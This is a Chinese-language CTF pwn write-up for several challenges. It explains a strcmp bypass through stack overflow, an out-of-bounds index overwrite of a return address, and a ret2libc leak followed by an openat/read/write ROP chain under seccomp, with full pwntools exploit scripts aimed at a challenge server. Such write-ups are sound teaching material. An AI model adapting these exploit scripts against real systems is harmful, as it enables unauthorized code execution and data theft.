Pwn
Netcat
会nc就给flag
如题目描述所示,nc连接得到flag
girlfriend
你能记住你女朋友的生日嘛?
检查保护
分析程序,在 amaze()
中发现后门函数
分析主函数,第一层需要绕过 strcmp
,使 s1
的值为admin
read(0, buf, 0x30uLL);
if ( strcmp(s1, "admin") )
{
puts("no no no");
exit(0);
}
但是我们发现并没有可以直接更改 s1
的操作,在比对之前有一个对 buf
的读入,观察栈内空间分布,可以发现对 buf
读入 0x30
可以更改 s1
的值
绕过 strcmp
后进入 vuln()
函数,是一个8次循环的输入,但是数组大小只有5,所以这里存在数组越界,观察栈上内容
__int64 vuln()
{
__int64 result; // rax
_QWORD v1[5]; // [rsp+0h] [rbp-30h] BYREF
__int64 i; // [rsp+28h] [rbp-8h]
for ( i = 0LL; i <= 7; ++i )
{
printf("please input your %d girlfriend birthday\n", i + 1);
result = __isoc99_scanf("%ld", &v1[i]);
}
return result;
}
虽然我们无法直接修改 result
的值,但是我们可以通过将下标 i
修改为负数使其满足要求,通过下列表格可以直观的看到数组下标以及对应的变量的关系
i | value |
---|---|
-1 | result |
0 | v1[0] |
1 | v1[1] |
2 | v1[2] |
3 | v1[3] |
4 | v1[4] |
5 | i |
6 | rbp's value |
7 | ret |
在经过5次循环后,下标 i
变为了5,v1[5]
代表 i
,即此处更改的是 i
的值,通过修改 i
来达到更改 ret
的目的。需要注意的是,赋值操作在循环结果 ++i
之后,所以如果需要将下一次循环的下标更改为 7
,那么在第一次数组溢出的时候应该输入 6
。
这里还需要注意的是,在输入 v1[7]
即 ret
的值的时候,需要使用 str(bin_sh_add)
,
from pwn import*
context.log_level='debug'
io=remote("27.25.151.12",28155)
payload1= (0x30-0x8) * b'a' + b'admin'
io.sendafter(b'id',payload1)
for i in range(5):
io.sendlineafter(b'birthday\n',b'0')
io.sendlineafter(b'birthday\n',b'6')
bin_sh_add= 0x40121B
payload2= str(bin_sh_add)
io.sendlineafter(b'birthday\n',payload2)
io.interactive()
ez_game
检查保护
查看程序,在 getshell()
函数中发现 /bin/sh
字符串
查看主函数,表面上看起来是一个伪随机的check,但是我们发现在限定的时间内根本无法过完for循环,这时候我们更换思路。观察主函数可以发现在get处存在栈溢出,查看ROPgadget,得到的情况如下
程序合适的 gadget
太少
ret2orw
检查保护
观察主函数可以发现在 vuln()
中存在栈溢出的read,同时在 vuln()
函数执行完后还有一个put,在程序中发现 system
和 /bin/sh
。
查看沙盒
seccomp-tools dump ./ret2orw
由于开启了NX保护,且没有具有代码执行权限的区段,所以这一题准备用ROP调用orw三个函数。
首先通过 puts
泄露打ret2libc,找到orw三个函数的地址,ROPgadget
情况如下
除了 rdi
我们还需要 rsi
rdx
,可以通过 puts
泄露得到的 libc_base
计算得到。
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io= remote("27.25.151.12",20026)
# io= process("ret2orw")
elf=ELF("ret2orw")
libc= ELF('libc.so.6')
ret_add = 0x40101a
pop_rdi = 0x4012ce
main_add = 0x4012AD
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rsi= 0x02be51
pop_rdx_r12= 0x11f2e7
pop_rax= 0x045eb0
offset= 0x20
bss_add= 0x404060 + 0x200
payload = b'a'*offset + p64(bss_add+0x20) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'this?', payload)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Put_add: ",hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print("Libc_base: ",hex(libc_base))
openat_add= libc_base + libc.symbols['openat']
print("Openat_add: ",hex(openat_add))
read_add= libc_base + libc.symbols['read']
write_add= libc_base + libc.symbols['write']
pop_rsi= libc_base + pop_rsi
pop_rdx_r12= libc_base + pop_rdx_r12
pop_rax= libc_base + pop_rax
payload = b'/flag\x00'.ljust(offset+0x8,b'a')
# openat
payload += p64(pop_rdi) + p64(0xffffffffffffff9c)
payload += p64(pop_rsi) + p64(bss_add)
payload += p64(pop_rdx_r12) + p64(0) + p64(0)
payload += p64(openat_add)
#read
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(bss_add)
payload += p64(pop_rdx_r12) + p64(0x30) + p64(0)
payload += p64(read_add)
#write
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(bss_add)
payload += p64(pop_rdx_r12) + p64(0x30) + p64(0)
payload += p64(write_add)
print(hex(len(payload)))
io.sendline(payload)
io.interactive()
这里有几个地方需要注意:
需要使用栈迁移将 rbp
迁移到 bss
段的位置,也就是将 rsi
迁移到 bss
段的位置,控制第二次 read
从 bss
段开始读
在libc中搜到的 open
其实是 openat
,也是在orw中常见的一种函数
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
int openat(int dirfd, const char *pathname, int flags);
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
openat
函数的三个参数:
1.dirfd
: 文件描述符,用于指定路径解析的起点
2.pathname
: 文件路径名,要打开的文件的路径
3.flags
: 标志位,用于指定文件的打开方式和权限等信息
flags
参数接收一个标志位参数,用于指定文件的打开放方式和属性。常用的标志位参数:
数字常量: 0 O_RDONLY 只读打开
数字常量: 1 O_WRONLY 只写打开
数字常量: 2 O_RDWR 读写打开
数字常量:64 O_CREAT 如果文件不存在则创建
数字常量:128 O_EXCL 与O_CREAT一起使用,如果文件已存在则失败
数字常量:512 O_TRUNC 如果文件存在则截断
数字常量:1024 O_APPEND 追加写
这里我们的访问权限很低所以采用只读打开